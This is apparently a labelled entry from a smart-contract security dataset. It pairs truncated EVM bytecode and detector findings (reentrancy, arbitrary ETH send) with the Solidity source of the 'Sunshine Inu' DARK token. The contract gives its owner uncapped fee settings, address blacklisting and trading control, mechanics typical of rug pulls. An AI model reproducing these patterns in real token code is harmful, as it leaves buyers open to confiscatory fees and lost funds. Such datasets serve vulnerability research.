ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c33600284611fd390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c5e573d6000803e3d6000fd5b5050565b6000600854821115611ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca090612da0565b60405180910390fd5b6000611cb361204a565b9050611cc88184611fd390919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d0857611d076132cc565b5b604051908082528060200260200182016040528015611d365781602001602082028036833780820191505090505b5090503081600081518110611d4e57611d4d61329d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611df057600080fd5b505afa158015611e04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e2891906127c8565b81600181518110611e3c57611e3b61329d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ea330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611280565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f07959493929190612efb565b600060405180830381600087803b158015611f2157600080fd5b505af1158015611f35573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f6b5760009050611fcd565b60008284611f79919061309d565b9050828482611f88919061306c565b14611fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbf90612e20565b60405180910390fd5b809150505b92915050565b600061201583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612075565b905092915050565b8061202b5761202a6120d8565b5b61203684848461211b565b80612044576120436122e6565b5b50505050565b60008060006120576122fa565b9150915061206e8183611fd390919063ffffffff16565b9250505090565b600080831182906120bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b39190612d5e565b60405180910390fd5b50600083856120cb919061306c565b9050809150509392505050565b6000600a541480156120ec57506000600b54145b156120f657612119565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061212d87612359565b95509550955095509550955061218b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061226c81612469565b6122768483612526565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122d39190612ee0565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000670de0b6b3a7640000905061232e670de0b6b3a7640000600854611fd390919063ffffffff16565b82101561234c57600854670de0b6b3a7640000935093505050612355565b81819350935050505b9091565b60008060008060008060008060006123768a600a54600b54612560565b925092509250600061238661204a565b905060008060006123998e8787876125f6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b03565b905092915050565b600080828461241a9190613016565b90508381101561245f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245690612de0565b60405180910390fd5b8091505092915050565b600061247361204a565b9050600061248a8284611f5890919063ffffffff16565b90506124de81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61253b826008546123c190919063ffffffff16565b6008819055506125568160095461240b90919063ffffffff16565b6009819055505050565b60008060008061258c606461257e888a611f5890919063ffffffff16565b611fd390919063ffffffff16565b905060006125b660646125a8888b611f5890919063ffffffff16565b611fd390919063ffffffff16565b905060006125df826125d1858c6123c190919063ffffffff16565b6123c190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260f8589611f5890919063ffffffff16565b905060006126268689611f5890919063ffffffff16565b9050600061263d8789611f5890919063ffffffff16565b905060006126668261265885876123c190919063ffffffff16565b6123c190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061269261268d84612f95565b612f70565b905080838252602082019050828560208602820111156126b5576126b4613300565b5b60005b858110156126e557816126cb88826126ef565b8452602084019350602083019250506001810190506126b8565b5050509392505050565b6000813590506126fe816135ed565b92915050565b600081519050612713816135ed565b92915050565b600082601f83011261272e5761272d6132fb565b5b813561273e84826020860161267f565b91505092915050565b60008135905061275681613604565b92915050565b60008151905061276b81613604565b92915050565b6000813590506127808161361b565b92915050565b6000815190506127958161361b565b92915050565b6000602082840312156127b1576127b061330a565b5b60006127bf848285016126ef565b91505092915050565b6000602082840312156127de576127dd61330a565b5b60006127ec84828501612704565b91505092915050565b6000806040838503121561280c5761280b61330a565b5b600061281a858286016126ef565b925050602061282b858286016126ef565b9150509250929050565b60008060006060848603121561284e5761284d61330a565b5b600061285c868287016126ef565b935050602061286d868287016126ef565b925050604061287e86828701612771565b9150509250925092565b6000806040838503121561289f5761289e61330a565b5b60006128ad858286016126ef565b92505060206128be85828601612771565b9150509250929050565b6000602082840312156128de576128dd61330a565b5b600082013567ffffffffffffffff8111156128fc576128fb613305565b5b61290884828501612719565b91505092915050565b6000602082840312156129275761292661330a565b5b600061293584828501612747565b91505092915050565b6000602082840312156129545761295361330a565b5b60006129628482850161275c565b91505092915050565b6000602082840312156129815761298061330a565b5b600061298f84828501612771565b91505092915050565b6000806000606084860312156129b1576129b061330a565b5b60006129bf86828701612786565b93505060206129d086828701612786565b92505060406129e186828701612786565b9150509250925092565b60006129f78383612a03565b60208301905092915050565b612a0c8161312b565b82525050565b612a1b8161312b565b82525050565b6000612a2c82612fd1565b612a368185612ff4565b9350612a4183612fc1565b8060005b83811015612a72578151612a5988826129eb565b9750612a6483612fe7565b925050600181019050612a45565b5085935050505092915050565b612a888161313d565b82525050565b612a9781613180565b82525050565b6000612aa882612fdc565b612ab28185613005565b9350612ac2818560208601613192565b612acb8161330f565b840191505092915050565b6000612ae3602383613005565b9150612aee82613320565b604082019050919050565b6000612b06602a83613005565b9150612b118261336f565b604082019050919050565b6000612b29602283613005565b9150612b34826133be565b604082019050919050565b6000612b4c601b83613005565b9150612b578261340d565b602082019050919050565b6000612b6f601d83613005565b9150612b7a82613436565b602082019050919050565b6000612b92602183613005565b9150612b9d8261345f565b604082019050919050565b6000612bb5602083613005565b9150612bc0826134ae565b602082019050919050565b6000612bd8602983613005565b9150612be3826134d7565b604082019050919050565b6000612bfb602583613005565b9150612c0682613526565b604082019050919050565b6000612c1e602483613005565b9150612c2982613575565b604082019050919050565b6000612c41601783613005565b9150612c4c826135c4565b602082019050919050565b612c6081613169565b82525050565b612c6f81613173565b82525050565b6000602082019050612c8a6000830184612a12565b92915050565b6000604082019050612ca56000830185612a12565b612cb26020830184612a12565b9392505050565b6000604082019050612cce6000830185612a12565b612cdb6020830184612c57565b9392505050565b600060c082019050612cf76000830189612a12565b612d046020830188612c57565b612d116040830187612a8e565b612d1e6060830186612a8e565b612d2b6080830185612a12565b612d3860a0830184612c57565b979650505050505050565b6000602082019050612d586000830184612a7f565b92915050565b60006020820190508181036000830152612d788184612a9d565b905092915050565b60006020820190508181036000830152612d9981612ad6565b9050919050565b60006020820190508181036000830152612db981612af9565b9050919050565b60006020820190508181036000830152612dd981612b1c565b9050919050565b60006020820190508181036000830152612df981612b3f565b9050919050565b60006020820190508181036000830152612e1981612b62565b9050919050565b60006020820190508181036000830152612e3981612b85565b9050919050565b60006020820190508181036000830152612e5981612ba8565b9050919050565b60006020820190508181036000830152612e7981612bcb565b9050919050565b60006020820190508181036000830152612e9981612bee565b9050919050565b60006020820190508181036000830152612eb981612c11565b9050919050565b60006020820190508181036000830152612ed981612c34565b9050919050565b6000602082019050612ef56000830184612c57565b92915050565b600060a082019050612f106000830188612c57565b612f1d6020830187612a8e565b8181036040830152612f2f8186612a21565b9050612f3e6060830185612a12565b612f4b6080830184612c57565b9695505050505050565b6000602082019050612f6a6000830184612c66565b92915050565b6000612f7a612f8b565b9050612f8682826131c5565b919050565b6000604051905090565b600067ffffffffffffffff821115612fb057612faf6132cc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061302182613169565b915061302c83613169565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130615761306061323f565b5b828201905092915050565b600061307782613169565b915061308283613169565b9250826130925761309161326e565b5b828204905092915050565b60006130a882613169565b91506130b383613169565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130ec576130eb61323f565b5b828202905092915050565b600061310282613169565b915061310d83613169565b9250828210156131205761311f61323f565b5b828203905092915050565b600061313682613149565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061318b82613169565b9050919050565b60005b838110156131b0578082015181840152602081019050613195565b838111156131bf576000848401525b50505050565b6131ce8261330f565b810181811067ffffffffffffffff821117156131ed576131ec6132cc565b5b80604052505050565b600061320182613169565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132345761323361323f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135f68161312b565b811461360157600080fd5b50565b61360d8161313d565b811461361857600080fd5b50565b61362481613169565b811461362f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c678b7e1c2d4e513973678495765dedd36751ca4bfd72f77a3b5fcf6c2ba1a364736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,401
0x97e9cbb5e6d7c88cb3901c8202e91c4f7c029d09
// SPDX-License-Identifier: Unlicensed //The darkness before dawn is only temporary, and there will always be sunshine. //700,000,000,000 //7,000,000,000(1%) pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DARK is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sunshine Inu"; string private constant _symbol = "DARK"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 700000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xcF8f81f5a40697Dc6a01FE043E27dBe96b8F3676); address payable private _marketingAddress = payable(0xcF8f81f5a40697Dc6a01FE043E27dBe96b8F3676); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 7000000007 * 10**9; uint256 public _maxWalletSize = 7000000007 * 10**9; uint256 public _swapTokensAtAmount = 70007 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b357600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611958565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600c81526b53756e7368696e6520496e7560a01b60208201525b60405161023c9190611a1d565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a72565b61069d565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b506825f273933db57000005b60405190815260200161023c565b3480156102df57600080fd5b506102656102ee366004611a9e565b6106b4565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023c565b34801561033157600080fd5b50601554610295906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611adf565b61071d565b34801561037157600080fd5b506101fc610380366004611b0c565b610768565b34801561039157600080fd5b506101fc6107b0565b3480156103a657600080fd5b506102c56103b5366004611adf565b6107fb565b3480156103c657600080fd5b506101fc61081d565b3480156103db57600080fd5b506101fc6103ea366004611b27565b610891565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611adf565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610295565b34801561045c57600080fd5b506101fc61046b366004611b0c565b6108c0565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b506040805180820190915260048152634441524b60e01b602082015261022f565b3480156104bf57600080fd5b506101fc6104ce366004611b27565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b40565b610937565b3480156104ff57600080fd5b5061026561050e366004611a72565b610975565b34801561051f57600080fd5b5061026561052e366004611adf565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b72565b6109d6565b34801561058457600080fd5b506102c5610593366004611bf6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b27565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611adf565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c2f565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c64565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c90565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611da8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c2f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c2f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c2f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c2f565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c2f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c2f565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c2f565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c2f565b60005b82811015610a71578160056000868685818110610a2257610a22611c64565b9050602002016020810190610a379190611adf565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c90565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c2f565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c2f565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b600160